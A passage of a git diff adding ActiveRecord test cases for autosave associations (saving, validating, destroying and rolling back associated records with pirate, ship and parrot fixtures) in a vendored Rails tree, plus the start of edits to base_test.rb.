+  def test_assignment_before_parent_saved
+    client = Client.find(:first)
+    apple = Firm.new("name" => "Apple")
+    client.firm = apple
+    assert_equal apple, client.firm
+    assert apple.new_record?
+    assert client.save
+    assert apple.save
+    assert !apple.new_record?
+    assert_equal apple, client.firm
+    assert_equal apple, client.firm(true)
+  end
+
+  def test_assignment_before_either_saved
+    final_cut = Client.new("name" => "Final Cut")
+    apple = Firm.new("name" => "Apple")
+    final_cut.firm = apple
+    assert final_cut.new_record?
+    assert apple.new_record?
+    assert final_cut.save
+    assert !final_cut.new_record?
+    assert !apple.new_record?
+    assert_equal apple, final_cut.firm
+    assert_equal apple, final_cut.firm(true)
+  end
+
+  def test_store_two_association_with_one_save
+    num_orders = Order.count
+    num_customers = Customer.count
+    order = Order.new
+
+    customer1 = order.billing = Customer.new
+    customer2 = order.shipping = Customer.new
+    assert order.save
+    assert_equal customer1, order.billing
+    assert_equal customer2, order.shipping
+
+    order.reload
+
+    assert_equal customer1, order.billing
+    assert_equal customer2, order.shipping
+
+    assert_equal num_orders +1, Order.count
+    assert_equal num_customers +2, Customer.count
+  end
+
+  def test_store_association_in_two_relations_with_one_save
+    num_orders = Order.count
+    num_customers = Customer.count
+    order = Order.new
+
+    customer = order.billing = order.shipping = Customer.new
+    assert order.save
+    assert_equal customer, order.billing
+    assert_equal customer, order.shipping
+
+    order.reload
+
+    assert_equal customer, order.billing
+    assert_equal customer, order.shipping
+
+    assert_equal num_orders +1, Order.count
+    assert_equal num_customers +1, Customer.count
+  end
+
+  def test_store_association_in_two_relations_with_one_save_in_existing_object
+    num_orders = Order.count
+    num_customers = Customer.count
+    order = Order.create
+
+    customer = order.billing = order.shipping = Customer.new
+    assert order.save
+    assert_equal customer, order.billing
+    assert_equal customer, order.shipping
+
+    order.reload
+
+    assert_equal customer, order.billing
+    assert_equal customer, order.shipping
+
+    assert_equal num_orders +1, Order.count
+    assert_equal num_customers +1, Customer.count
+  end
+
+  def test_store_association_in_two_relations_with_one_save_in_existing_object_with_values
+    num_orders = Order.count
+    num_customers = Customer.count
+    order = Order.create
+
+    customer = order.billing = order.shipping = Customer.new
+    assert order.save
+    assert_equal customer, order.billing
+    assert_equal customer, order.shipping
+
+    order.reload
+
+    customer = order.billing = order.shipping = Customer.new
+
+    assert order.save
+    order.reload
+
+    assert_equal customer, order.billing
+    assert_equal customer, order.shipping
+
+    assert_equal num_orders +1, Order.count
+    assert_equal num_customers +2, Customer.count
+  end
+end
+
+class TestDefaultAutosaveAssociationOnAHasManyAssociation < ActiveRecord::TestCase
+  fixtures :companies, :people
+
+  def test_invalid_adding
+    firm = Firm.find(1)
+    assert !(firm.clients_of_firm << c = Client.new)
+    assert c.new_record?
+    assert !firm.valid?
+    assert !firm.save
+    assert c.new_record?
+  end
+
+  def test_invalid_adding_before_save
+    no_of_firms = Firm.count
+    no_of_clients = Client.count
+    new_firm = Firm.new("name" => "A New Firm, Inc")
+    new_firm.clients_of_firm.concat([c = Client.new, Client.new("name" => "Apple")])
+    assert c.new_record?
+    assert !c.valid?
+    assert !new_firm.valid?
+    assert !new_firm.save
+    assert c.new_record?
+    assert new_firm.new_record?
+  end
+
+  def test_invalid_adding_with_validate_false
+    firm = Firm.find(:first)
+    client = Client.new
+    firm.unvalidated_clients_of_firm << client
+
+    assert firm.valid?
+    assert !client.valid?
+    assert firm.save
+    assert client.new_record?
+  end
+
+  def test_valid_adding_with_validate_false
+    no_of_clients = Client.count
+
+    firm = Firm.find(:first)
+    client = Client.new("name" => "Apple")
+
+    assert firm.valid?
+    assert client.valid?
+    assert client.new_record?
+
+    firm.unvalidated_clients_of_firm << client
+
+    assert firm.save
+    assert !client.new_record?
+    assert_equal no_of_clients+1, Client.count
+  end
+
+  def test_invalid_build
+    new_client = companies(:first_firm).clients_of_firm.build
+    assert new_client.new_record?
+    assert !new_client.valid?
+    assert_equal new_client, companies(:first_firm).clients_of_firm.last
+    assert !companies(:first_firm).save
+    assert new_client.new_record?
+    assert_equal 1, companies(:first_firm).clients_of_firm(true).size
+  end
+
+  def test_adding_before_save
+    no_of_firms = Firm.count
+    no_of_clients = Client.count
+
+    new_firm = Firm.new("name" => "A New Firm, Inc")
+    c = Client.new("name" => "Apple")
+
+    new_firm.clients_of_firm.push Client.new("name" => "Natural Company")
+    assert_equal 1, new_firm.clients_of_firm.size
+    new_firm.clients_of_firm << c
+    assert_equal 2, new_firm.clients_of_firm.size
+
+    assert_equal no_of_firms, Firm.count      # Firm was not saved to database.
+    assert_equal no_of_clients, Client.count  # Clients were not saved to database.
+    assert new_firm.save
+    assert !new_firm.new_record?
+    assert !c.new_record?
+    assert_equal new_firm, c.firm
+    assert_equal no_of_firms+1, Firm.count      # Firm was saved to database.
+    assert_equal no_of_clients+2, Client.count  # Clients were saved to database.
+
+    assert_equal 2, new_firm.clients_of_firm.size
+    assert_equal 2, new_firm.clients_of_firm(true).size
+  end
+
+  def test_assign_ids
+    firm = Firm.new("name" => "Apple")
+    firm.client_ids = [companies(:first_client).id, companies(:second_client).id]
+    firm.save
+    firm.reload
+    assert_equal 2, firm.clients.length
+    assert firm.clients.include?(companies(:second_client))
+  end
+
+  def test_assign_ids_for_through_a_belongs_to
+    post = Post.new(:title => "Assigning IDs works!", :body => "You heared it here first, folks!")
+    post.person_ids = [people(:david).id, people(:michael).id]
+    post.save
+    post.reload
+    assert_equal 2, post.people.length
+    assert post.people.include?(people(:david))
+  end
+
+  def test_build_before_save
+    company = companies(:first_firm)
+    new_client = assert_no_queries { company.clients_of_firm.build("name" => "Another Client") }
+    assert !company.clients_of_firm.loaded?
+
+    company.name += '-changed'
+    assert_queries(2) { assert company.save }
+    assert !new_client.new_record?
+    assert_equal 2, company.clients_of_firm(true).size
+  end
+
+  def test_build_many_before_save
+    company = companies(:first_firm)
+    new_clients = assert_no_queries { company.clients_of_firm.build([{"name" => "Another Client"}, {"name" => "Another Client II"}]) }
+
+    company.name += '-changed'
+    assert_queries(3) { assert company.save }
+    assert_equal 3, company.clients_of_firm(true).size
+  end
+
+  def test_build_via_block_before_save
+    company = companies(:first_firm)
+    new_client = assert_no_queries { company.clients_of_firm.build {|client| client.name = "Another Client" } }
+    assert !company.clients_of_firm.loaded?
+
+    company.name += '-changed'
+    assert_queries(2) { assert company.save }
+    assert !new_client.new_record?
+    assert_equal 2, company.clients_of_firm(true).size
+  end
+
+  def test_build_many_via_block_before_save
+    company = companies(:first_firm)
+    new_clients = assert_no_queries do
+      company.clients_of_firm.build([{"name" => "Another Client"}, {"name" => "Another Client II"}]) do |client|
+        client.name = "changed"
+      end
+    end
+
+    company.name += '-changed'
+    assert_queries(3) { assert company.save }
+    assert_equal 3, company.clients_of_firm(true).size
+  end
+
+  def test_replace_on_new_object
+    firm = Firm.new("name" => "New Firm")
+    firm.clients = [companies(:second_client), Client.new("name" => "New Client")]
+    assert firm.save
+    firm.reload
+    assert_equal 2, firm.clients.length
+    assert firm.clients.include?(Client.find_by_name("New Client"))
+  end
+end
+
+class TestDefaultAutosaveAssociationOnNewRecord < ActiveRecord::TestCase
+  def test_autosave_new_record_on_belongs_to_can_be_disabled_per_relationship
+    new_account = Account.new("credit_limit" => 1000)
+    new_firm = Firm.new("name" => "some firm")
+
+    assert new_firm.new_record?
+    new_account.firm = new_firm
+    new_account.save!
+
+    assert !new_firm.new_record?
+
+    new_account = Account.new("credit_limit" => 1000)
+    new_autosaved_firm = Firm.new("name" => "some firm")
+
+    assert new_autosaved_firm.new_record?
+    new_account.unautosaved_firm = new_autosaved_firm
+    new_account.save!
+
+    assert new_autosaved_firm.new_record?
+  end
+
+  def test_autosave_new_record_on_has_one_can_be_disabled_per_relationship
+    firm = Firm.new("name" => "some firm")
+    account = Account.new("credit_limit" => 1000)
+
+    assert account.new_record?
+    firm.account = account
+    firm.save!
+
+    assert !account.new_record?
+
+    firm = Firm.new("name" => "some firm")
+    account = Account.new("credit_limit" => 1000)
+
+    firm.unautosaved_account = account
+
+    assert account.new_record?
+    firm.unautosaved_account = account
+    firm.save!
+
+    assert account.new_record?
+  end
+
+  def test_autosave_new_record_on_has_many_can_be_disabled_per_relationship
+    firm = Firm.new("name" => "some firm")
+    account = Account.new("credit_limit" => 1000)
+
+    assert account.new_record?
+    firm.accounts << account
+
+    firm.save!
+    assert !account.new_record?
+
+    firm = Firm.new("name" => "some firm")
+    account = Account.new("credit_limit" => 1000)
+
+    assert account.new_record?
+    firm.unautosaved_accounts << account
+
+    firm.save!
+    assert account.new_record?
+  end
+end
+
+class TestDestroyAsPartOfAutosaveAssociation < ActiveRecord::TestCase
+  self.use_transactional_fixtures = false
+
+  def setup
+    @pirate = Pirate.create(:catchphrase => "Don' botharrr talkin' like one, savvy?")
+    @ship = @pirate.create_ship(:name => 'Nights Dirty Lightning')
+  end
+
+  # reload
+  def test_a_marked_for_destruction_record_should_not_be_be_marked_after_reload
+    @pirate.mark_for_destruction
+    @pirate.ship.mark_for_destruction
+
+    assert !@pirate.reload.marked_for_destruction?
+    assert !@pirate.ship.marked_for_destruction?
+  end
+
+  # has_one
+  def test_should_destroy_a_child_association_as_part_of_the_save_transaction_if_it_was_marked_for_destroyal
+    assert !@pirate.ship.marked_for_destruction?
+
+    @pirate.ship.mark_for_destruction
+    id = @pirate.ship.id
+
+    assert @pirate.ship.marked_for_destruction?
+    assert Ship.find_by_id(id)
+
+    @pirate.save
+    assert_nil @pirate.reload.ship
+    assert_nil Ship.find_by_id(id)
+  end
+
+  def test_should_skip_validation_on_a_child_association_if_marked_for_destruction
+    @pirate.ship.name = ''
+    assert !@pirate.valid?
+
+    @pirate.ship.mark_for_destruction
+    @pirate.ship.expects(:valid?).never
+    assert_difference('Ship.count', -1) { @pirate.save! }
+  end
+
+  def test_a_child_marked_for_destruction_should_not_be_destroyed_twice
+    @pirate.ship.mark_for_destruction
+    assert @pirate.save
+    @pirate.ship.expects(:destroy).never
+    assert @pirate.save
+  end
+
+  def test_should_rollback_destructions_if_an_exception_occurred_while_saving_a_child
+    # Stub the save method of the @pirate.ship instance to destroy and then raise an exception
+    class << @pirate.ship
+      def save(*args)
+        super
+        destroy
+        raise 'Oh noes!'
+      end
+    end
+
+    assert_raise(RuntimeError) { assert !@pirate.save }
+    assert_not_nil @pirate.reload.ship
+  end
+
+  # belongs_to
+  def test_should_destroy_a_parent_association_as_part_of_the_save_transaction_if_it_was_marked_for_destroyal
+    assert !@ship.pirate.marked_for_destruction?
+
+    @ship.pirate.mark_for_destruction
+    id = @ship.pirate.id
+
+    assert @ship.pirate.marked_for_destruction?
+    assert Pirate.find_by_id(id)
+
+    @ship.save
+    assert_nil @ship.reload.pirate
+    assert_nil Pirate.find_by_id(id)
+  end
+
+  def test_should_skip_validation_on_a_parent_association_if_marked_for_destruction
+    @ship.pirate.catchphrase = ''
+    assert !@ship.valid?
+
+    @ship.pirate.mark_for_destruction
+    @ship.pirate.expects(:valid?).never
+    assert_difference('Pirate.count', -1) { @ship.save! }
+  end
+
+  def test_a_parent_marked_for_destruction_should_not_be_destroyed_twice
+    @ship.pirate.mark_for_destruction
+    assert @ship.save
+    @ship.pirate.expects(:destroy).never
+    assert @ship.save
+  end
+
+  def test_should_rollback_destructions_if_an_exception_occurred_while_saving_a_parent
+    # Stub the save method of the @ship.pirate instance to destroy and then raise an exception
+    class << @ship.pirate
+      def save(*args)
+        super
+        destroy
+        raise 'Oh noes!'
+      end
+    end
+
+    assert_raise(RuntimeError) { assert !@ship.save }
+    assert_not_nil @ship.reload.pirate
+  end
+
+  # has_many & has_and_belongs_to
+  %w{ parrots birds }.each do |association_name|
+    define_method("test_should_destroy_#{association_name}_as_part_of_the_save_transaction_if_they_were_marked_for_destroyal") do
+      2.times { |i| @pirate.send(association_name).create!(:name => "#{association_name}_#{i}") }
+
+      assert !@pirate.send(association_name).any? { |child| child.marked_for_destruction? }
+
+      @pirate.send(association_name).each { |child| child.mark_for_destruction }
+      klass = @pirate.send(association_name).first.class
+      ids = @pirate.send(association_name).map(&:id)
+
+      assert @pirate.send(association_name).all? { |child| child.marked_for_destruction? }
+      ids.each { |id| assert klass.find_by_id(id) }
+
+      @pirate.save
+      assert @pirate.reload.send(association_name).empty?
+      ids.each { |id| assert_nil klass.find_by_id(id) }
+    end
+
+    define_method("test_should_skip_validation_on_the_#{association_name}_association_if_marked_for_destruction") do
+      2.times { |i| @pirate.send(association_name).create!(:name => "#{association_name}_#{i}") }
+      children = @pirate.send(association_name)
+
+      children.each { |child| child.name = '' }
+      assert !@pirate.valid?
+
+      children.each do |child|
+        child.mark_for_destruction
+        child.expects(:valid?).never
+      end
+      assert_difference("#{association_name.classify}.count", -2) { @pirate.save! }
+    end
+    
+    define_method("test_should_skip_validation_on_the_#{association_name}_association_if_destroyed") do
+      @pirate.send(association_name).create!(:name => "#{association_name}_1")
+      children = @pirate.send(association_name)
+
+      children.each { |child| child.name = '' }
+      assert !@pirate.valid?
+
+      children.each { |child| child.destroy }
+      assert @pirate.valid?
+    end
+
+    define_method("test_a_child_marked_for_destruction_should_not_be_destroyed_twice_while_saving_#{association_name}") do
+      @pirate.send(association_name).create!(:name => "#{association_name}_1")
+      children = @pirate.send(association_name)
+
+      children.each { |child| child.mark_for_destruction }
+      assert @pirate.save
+      children.each { |child| child.expects(:destroy).never }
+      assert @pirate.save
+    end
+
+    define_method("test_should_rollback_destructions_if_an_exception_occurred_while_saving_#{association_name}") do
+      2.times { |i| @pirate.send(association_name).create!(:name => "#{association_name}_#{i}") }
+      before = @pirate.send(association_name).map { |c| c }
+
+      # Stub the save method of the first child to destroy and the second to raise an exception
+      class << before.first
+        def save(*args)
+          super
+          destroy
+        end
+      end
+      class << before.last
+        def save(*args)
+          super
+          raise 'Oh noes!'
+        end
+      end
+
+      assert_raise(RuntimeError) { assert !@pirate.save }
+      assert_equal before, @pirate.reload.send(association_name)
+    end
+
+    # Add and remove callbacks tests for association collections.
+    %w{ method proc }.each do |callback_type|
+      define_method("test_should_run_add_callback_#{callback_type}s_for_#{association_name}") do
+        association_name_with_callbacks = "#{association_name}_with_#{callback_type}_callbacks"
+
+        pirate = Pirate.new(:catchphrase => "Arr")
+        pirate.send(association_name_with_callbacks).build(:name => "Crowe the One-Eyed")
+
+        expected = [
+          "before_adding_#{callback_type}_#{association_name.singularize}_<new>",
+          "after_adding_#{callback_type}_#{association_name.singularize}_<new>"
+        ]
+
+        assert_equal expected, pirate.ship_log
+      end
+
+      define_method("test_should_run_remove_callback_#{callback_type}s_for_#{association_name}") do
+        association_name_with_callbacks = "#{association_name}_with_#{callback_type}_callbacks"
+
+        @pirate.send(association_name_with_callbacks).create!(:name => "Crowe the One-Eyed")
+        @pirate.send(association_name_with_callbacks).each { |c| c.mark_for_destruction }
+        child_id = @pirate.send(association_name_with_callbacks).first.id
+
+        @pirate.ship_log.clear
+        @pirate.save
+
+        expected = [
+          "before_removing_#{callback_type}_#{association_name.singularize}_#{child_id}",
+          "after_removing_#{callback_type}_#{association_name.singularize}_#{child_id}"
+        ]
+
+        assert_equal expected, @pirate.ship_log
+      end
+    end
+  end
+end
+
+class TestAutosaveAssociationOnAHasOneAssociation < ActiveRecord::TestCase
+  self.use_transactional_fixtures = false
+
+  def setup
+    @pirate = Pirate.create(:catchphrase => "Don' botharrr talkin' like one, savvy?")
+    @ship = @pirate.create_ship(:name => 'Nights Dirty Lightning')
+  end
+
+  def test_should_still_work_without_an_associated_model
+    @ship.destroy
+    @pirate.reload.catchphrase = "Arr"
+    @pirate.save
+    assert 'Arr', @pirate.reload.catchphrase
+  end
+
+  def test_should_automatically_save_the_associated_model
+    @pirate.ship.name = 'The Vile Insanity'
+    @pirate.save
+    assert_equal 'The Vile Insanity', @pirate.reload.ship.name
+  end
+
+  def test_should_automatically_save_bang_the_associated_model
+    @pirate.ship.name = 'The Vile Insanity'
+    @pirate.save!
+    assert_equal 'The Vile Insanity', @pirate.reload.ship.name
+  end
+
+  def test_should_automatically_validate_the_associated_model
+    @pirate.ship.name = ''
+    assert !@pirate.valid?
+    assert_equal "can't be blank", @pirate.errors.on(:"ship.name")
+  end
+
+  def test_should_merge_errors_on_the_associated_models_onto_the_parent_even_if_it_is_not_valid
+    @pirate.ship.name   = nil
+    @pirate.catchphrase = nil
+    assert !@pirate.valid?
+    assert @pirate.errors.full_messages.include?("Name can't be blank")
+    assert @pirate.errors.full_messages.include?("Catchphrase can't be blank")
+  end
+
+  def test_should_still_allow_to_bypass_validations_on_the_associated_model
+    @pirate.catchphrase = ''
+    @pirate.ship.name = ''
+    @pirate.save(false)
+    assert_equal ['', ''], [@pirate.reload.catchphrase, @pirate.ship.name]
+  end
+
+  def test_should_allow_to_bypass_validations_on_associated_models_at_any_depth
+    2.times { |i| @pirate.ship.parts.create!(:name => "part #{i}") }
+
+    @pirate.catchphrase = ''
+    @pirate.ship.name = ''
+    @pirate.ship.parts.each { |part| part.name = '' }
+    @pirate.save(false)
+
+    values = [@pirate.reload.catchphrase, @pirate.ship.name, *@pirate.ship.parts.map(&:name)]
+    assert_equal ['', '', '', ''], values
+  end
+
+  def test_should_still_raise_an_ActiveRecordRecord_Invalid_exception_if_we_want_that
+    @pirate.ship.name = ''
+    assert_raise(ActiveRecord::RecordInvalid) do
+      @pirate.save!
+    end
+  end
+
+  def test_should_rollback_any_changes_if_an_exception_occurred_while_saving
+    before = [@pirate.catchphrase, @pirate.ship.name]
+
+    @pirate.catchphrase = 'Arr'
+    @pirate.ship.name = 'The Vile Insanity'
+
+    # Stub the save method of the @pirate.ship instance to raise an exception
+    class << @pirate.ship
+      def save(*args)
+        super
+        raise 'Oh noes!'
+      end
+    end
+
+    assert_raise(RuntimeError) { assert !@pirate.save }
+    assert_equal before, [@pirate.reload.catchphrase, @pirate.ship.name]
+  end
+
+  def test_should_not_load_the_associated_model
+    assert_queries(1) { @pirate.catchphrase = 'Arr'; @pirate.save! }
+  end
+end
+
+class TestAutosaveAssociationOnABelongsToAssociation < ActiveRecord::TestCase
+  self.use_transactional_fixtures = false
+
+  def setup
+    @ship = Ship.create(:name => 'Nights Dirty Lightning')
+    @pirate = @ship.create_pirate(:catchphrase => "Don' botharrr talkin' like one, savvy?")
+  end
+
+  def test_should_still_work_without_an_associated_model
+    @pirate.destroy
+    @ship.reload.name = "The Vile Insanity"
+    @ship.save
+    assert 'The Vile Insanity', @ship.reload.name
+  end
+
+  def test_should_automatically_save_the_associated_model
+    @ship.pirate.catchphrase = 'Arr'
+    @ship.save
+    assert_equal 'Arr', @ship.reload.pirate.catchphrase
+  end
+
+  def test_should_automatically_save_bang_the_associated_model
+    @ship.pirate.catchphrase = 'Arr'
+    @ship.save!
+    assert_equal 'Arr', @ship.reload.pirate.catchphrase
+  end
+
+  def test_should_automatically_validate_the_associated_model
+    @ship.pirate.catchphrase = ''
+    assert !@ship.valid?
+    assert_equal "can't be blank", @ship.errors.on(:"pirate.catchphrase")
+  end
+
+  def test_should_merge_errors_on_the_associated_model_onto_the_parent_even_if_it_is_not_valid
+    @ship.name = nil
+    @ship.pirate.catchphrase = nil
+    assert !@ship.valid?
+    assert @ship.errors.full_messages.include?("Name can't be blank")
+    assert @ship.errors.full_messages.include?("Catchphrase can't be blank")
+  end
+
+  def test_should_still_allow_to_bypass_validations_on_the_associated_model
+    @ship.pirate.catchphrase = ''
+    @ship.name = ''
+    @ship.save(false)
+    assert_equal ['', ''], [@ship.reload.name, @ship.pirate.catchphrase]
+  end
+
+  def test_should_still_raise_an_ActiveRecordRecord_Invalid_exception_if_we_want_that
+    @ship.pirate.catchphrase = ''
+    assert_raise(ActiveRecord::RecordInvalid) do
+      @ship.save!
+    end
+  end
+
+  def test_should_rollback_any_changes_if_an_exception_occurred_while_saving
+    before = [@ship.pirate.catchphrase, @ship.name]
+
+    @ship.pirate.catchphrase = 'Arr'
+    @ship.name = 'The Vile Insanity'
+
+    # Stub the save method of the @ship.pirate instance to raise an exception
+    class << @ship.pirate
+      def save(*args)
+        super
+        raise 'Oh noes!'
+      end
+    end
+
+    assert_raise(RuntimeError) { assert !@ship.save }
+    # TODO: Why does using reload on @ship looses the associated pirate?
+    assert_equal before, [@ship.pirate.reload.catchphrase, @ship.reload.name]
+  end
+
+  def test_should_not_load_the_associated_model
+    assert_queries(1) { @ship.name = 'The Vile Insanity'; @ship.save! }
+  end
+end
+
+module AutosaveAssociationOnACollectionAssociationTests
+  def test_should_automatically_save_the_associated_models
+    new_names = ['Grace OMalley', 'Privateers Greed']
+    @pirate.send(@association_name).each_with_index { |child, i| child.name = new_names[i] }
+
+    @pirate.save
+    assert_equal new_names, @pirate.reload.send(@association_name).map(&:name)
+  end
+
+  def test_should_automatically_save_bang_the_associated_models
+    new_names = ['Grace OMalley', 'Privateers Greed']
+    @pirate.send(@association_name).each_with_index { |child, i| child.name = new_names[i] }
+
+    @pirate.save!
+    assert_equal new_names, @pirate.reload.send(@association_name).map(&:name)
+  end
+
+  def test_should_automatically_validate_the_associated_models
+    @pirate.send(@association_name).each { |child| child.name = '' }
+
+    assert !@pirate.valid?
+    assert @pirate.errors.full_messages.include?("Name can't be blank")
+    assert @pirate.errors.on(@association_name).blank?
+  end
+
+  def test_should_not_use_default_invalid_error_on_associated_models
+    @pirate.send(@association_name).build(:name => '')
+
+    assert !@pirate.valid?
+    assert_equal "can't be blank", @pirate.errors.on("#{@association_name}.name")
+    assert @pirate.errors.on(@association_name).blank?
+  end
+
+  def test_should_merge_errors_on_the_associated_models_onto_the_parent_even_if_it_is_not_valid
+    @pirate.send(@association_name).each { |child| child.name = '' }
+    @pirate.catchphrase = nil
+
+    assert !@pirate.valid?
+    assert_equal "can't be blank", @pirate.errors.on("#{@association_name}.name")
+    assert !@pirate.errors.on(:catchphrase).blank?
+  end
+
+  def test_should_allow_to_bypass_validations_on_the_associated_models_on_update
+    @pirate.catchphrase = ''
+    @pirate.send(@association_name).each { |child| child.name = '' }
+
+    assert @pirate.save(false)
+    assert_equal ['', '', ''], [
+      @pirate.reload.catchphrase,
+      @pirate.send(@association_name).first.name,
+      @pirate.send(@association_name).last.name
+    ]
+  end
+
+  def test_should_validation_the_associated_models_on_create
+    assert_no_difference("#{ @association_name == :birds ? 'Bird' : 'Parrot' }.count") do
+      2.times { @pirate.send(@association_name).build }
+      @pirate.save(true)
+    end
+  end
+
+  def test_should_allow_to_bypass_validations_on_the_associated_models_on_create
+    assert_difference("#{ @association_name == :birds ? 'Bird' : 'Parrot' }.count", +2) do
+      2.times { @pirate.send(@association_name).build }
+      @pirate.save(false)
+    end
+  end
+
+  def test_should_rollback_any_changes_if_an_exception_occurred_while_saving
+    before = [@pirate.catchphrase, *@pirate.send(@association_name).map(&:name)]
+    new_names = ['Grace OMalley', 'Privateers Greed']
+
+    @pirate.catchphrase = 'Arr'
+    @pirate.send(@association_name).each_with_index { |child, i| child.name = new_names[i] }
+
+    # Stub the save method of the first child instance to raise an exception
+    class << @pirate.send(@association_name).first
+      def save(*args)
+        super
+        raise 'Oh noes!'
+      end
+    end
+
+    assert_raise(RuntimeError) { assert !@pirate.save }
+    assert_equal before, [@pirate.reload.catchphrase, *@pirate.send(@association_name).map(&:name)]
+  end
+
+  def test_should_still_raise_an_ActiveRecordRecord_Invalid_exception_if_we_want_that
+    @pirate.send(@association_name).each { |child| child.name = '' }
+    assert_raise(ActiveRecord::RecordInvalid) do
+      @pirate.save!
+    end
+  end
+
+  def test_should_not_load_the_associated_models_if_they_were_not_loaded_yet
+    assert_queries(1) { @pirate.catchphrase = 'Arr'; @pirate.save! }
+
+    @pirate.send(@association_name).class # hack to load the target
+
+    assert_queries(3) do
+      @pirate.catchphrase = 'Yarr'
+      new_names = ['Grace OMalley', 'Privateers Greed']
+      @pirate.send(@association_name).each_with_index { |child, i| child.name = new_names[i] }
+      @pirate.save!
+    end
+  end
+end
+
+class TestAutosaveAssociationOnAHasManyAssociation < ActiveRecord::TestCase
+  self.use_transactional_fixtures = false
+
+  def setup
+    @association_name = :birds
+
+    @pirate = Pirate.create(:catchphrase => "Don' botharrr talkin' like one, savvy?")
+    @child_1 = @pirate.birds.create(:name => 'Posideons Killer')
+    @child_2 = @pirate.birds.create(:name => 'Killer bandita Dionne')
+  end
+
+  include AutosaveAssociationOnACollectionAssociationTests
+end
+
+class TestAutosaveAssociationOnAHasAndBelongsToManyAssociation < ActiveRecord::TestCase
+  self.use_transactional_fixtures = false
+
+  def setup
+    @association_name = :parrots
+    @habtm = true
+
+    @pirate = Pirate.create(:catchphrase => "Don' botharrr talkin' like one, savvy?")
+    @child_1 = @pirate.parrots.create(:name => 'Posideons Killer')
+    @child_2 = @pirate.parrots.create(:name => 'Killer bandita Dionne')
+  end
+
+  include AutosaveAssociationOnACollectionAssociationTests
+end
+
+class TestAutosaveAssociationValidationsOnAHasManyAssocication < ActiveRecord::TestCase
+  self.use_transactional_fixtures = false
+
+  def setup
+    @pirate = Pirate.create(:catchphrase => "Don' botharrr talkin' like one, savvy?")
+    @pirate.birds.create(:name => 'cookoo')
+  end
+
+  test "should automatically validate associations" do
+    assert @pirate.valid?
+    @pirate.birds.each { |bird| bird.name = '' }
+
+    assert !@pirate.valid?
+  end
+end
+
+class TestAutosaveAssociationValidationsOnAHasOneAssocication < ActiveRecord::TestCase
+  self.use_transactional_fixtures = false
+
+  def setup
+    @pirate = Pirate.create(:catchphrase => "Don' botharrr talkin' like one, savvy?")
+    @pirate.create_ship(:name => 'titanic')
+  end
+
+  test "should automatically validate associations with :validate => true" do
+    assert @pirate.valid?
+    @pirate.ship.name = ''
+    assert !@pirate.valid?
+  end
+
+  test "should not automatically validate associations without :validate => true" do
+    assert @pirate.valid?
+    @pirate.non_validated_ship.name = ''
+    assert @pirate.valid?
+  end
+end
+
+class TestAutosaveAssociationValidationsOnABelongsToAssocication < ActiveRecord::TestCase
+  self.use_transactional_fixtures = false
+
+  def setup
+    @pirate = Pirate.create(:catchphrase => "Don' botharrr talkin' like one, savvy?")
+  end
+
+  test "should automatically validate associations with :validate => true" do
+    assert @pirate.valid?
+    @pirate.parrot = Parrot.new(:name => '')
+    assert !@pirate.valid?
+  end
+
+  test "should not automatically validate associations without :validate => true" do
+    assert @pirate.valid?
+    @pirate.non_validated_parrot = Parrot.new(:name => '')
+    assert @pirate.valid?
+  end
+end
+
+class TestAutosaveAssociationValidationsOnAHABTMAssocication < ActiveRecord::TestCase
+  self.use_transactional_fixtures = false
+
+  def setup
+    @pirate = Pirate.create(:catchphrase => "Don' botharrr talkin' like one, savvy?")
+  end
+
+  test "should automatically validate associations with :validate => true" do
+    assert @pirate.valid?
+    @pirate.parrots = [ Parrot.new(:name => 'popuga') ]
+    @pirate.parrots.each { |parrot| parrot.name = '' }
+    assert !@pirate.valid?
+  end
+
+  test "should not automatically validate associations without :validate => true" do
+    assert @pirate.valid?
+    @pirate.non_validated_parrots = [ Parrot.new(:name => 'popuga') ]
+    @pirate.non_validated_parrots.each { |parrot| parrot.name = '' }
+    assert @pirate.valid?
+  end
+end
+
+class TestAutosaveAssociationValidationMethodsGeneration < ActiveRecord::TestCase
+  self.use_transactional_fixtures = false
+
+  def setup
+    @pirate = Pirate.new
+  end
+
+  test "should generate validation methods for has_many associations" do
+    assert @pirate.respond_to?(:validate_associated_records_for_birds)
+  end
+
+  test "should generate validation methods for has_one associations with :validate => true" do
+    assert @pirate.respond_to?(:validate_associated_records_for_ship)
+  end
+
+  test "should not generate validation methods for has_one associations without :validate => true" do
+    assert !@pirate.respond_to?(:validate_associated_records_for_non_validated_ship)
+  end
+
+  test "should generate validation methods for belongs_to associations with :validate => true" do
+    assert @pirate.respond_to?(:validate_associated_records_for_parrot)
+  end
+
+  test "should not generate validation methods for belongs_to associations without :validate => true" do
+    assert !@pirate.respond_to?(:validate_associated_records_for_non_validated_parrot)
+  end
+
+  test "should generate validation methods for HABTM associations with :validate => true" do
+    assert @pirate.respond_to?(:validate_associated_records_for_parrots)
+  end
+
+  test "should not generate validation methods for HABTM associations without :validate => true" do
+    assert !@pirate.respond_to?(:validate_associated_records_for_non_validated_parrots)
+  end
+end
diff --git a/vendor/rails/activerecord/test/cases/base_test.rb b/vendor/rails/activerecord/test/cases/base_test.rb
index 5f54931d..14f39671 100755
--- a/vendor/rails/activerecord/test/cases/base_test.rb
+++ b/vendor/rails/activerecord/test/cases/base_test.rb
@@ -1,4 +1,5 @@
 require "cases/helper"
+require 'models/post'
 require 'models/author'
 require 'models/topic'
 require 'models/reply'
@@ -12,10 +13,10 @@ require 'models/auto_id'
 require 'models/column_name'
 require 'models/subscriber'
 require 'models/keyboard'
-require 'models/post'
 require 'models/comment'
 require 'models/minimalistic'
 require 'models/warehouse_thing'
+require 'models/parrot'
 require 'rexml/document'
 
 class Category < ActiveRecord::Base; end
@@ -423,8 +424,8 @@ class BasicsTest < ActiveRecord::TestCase
   def test_non_attribute_access_and_assignment
     topic = Topic.new
     assert !topic.respond_to?("mumbo")
-    assert_raises(NoMethodError) { topic.mumbo }
-    assert_raises(NoMethodError) { topic.mumbo = 5 }
+    assert_raise(NoMethodError) { topic.mumbo }
+    assert_raise(NoMethodError) { topic.mumbo = 5 }
   end
 
   def test_preserving_date_objects
@@ -473,6 +474,7 @@ class BasicsTest < ActiveRecord::TestCase
     topic = Topic.find(1)
     assert_equal topic, topic.delete, 'topic.delete did not return self'
     assert topic.frozen?, 'topic not frozen after delete'
+    assert topic.destroyed?, 'topic not marked as being destroyed'
     assert_raise(ActiveRecord::RecordNotFound) { Topic.find(topic.id) }
   end
 
@@ -485,11 +487,12 @@ class BasicsTest < ActiveRecord::TestCase
     topic = Topic.find(1)
     assert_equal topic, topic.destroy, 'topic.destroy did not return self'
     assert topic.frozen?, 'topic not frozen after destroy'
+    assert topic.destroyed?, 'topic not marked as being destroyed'
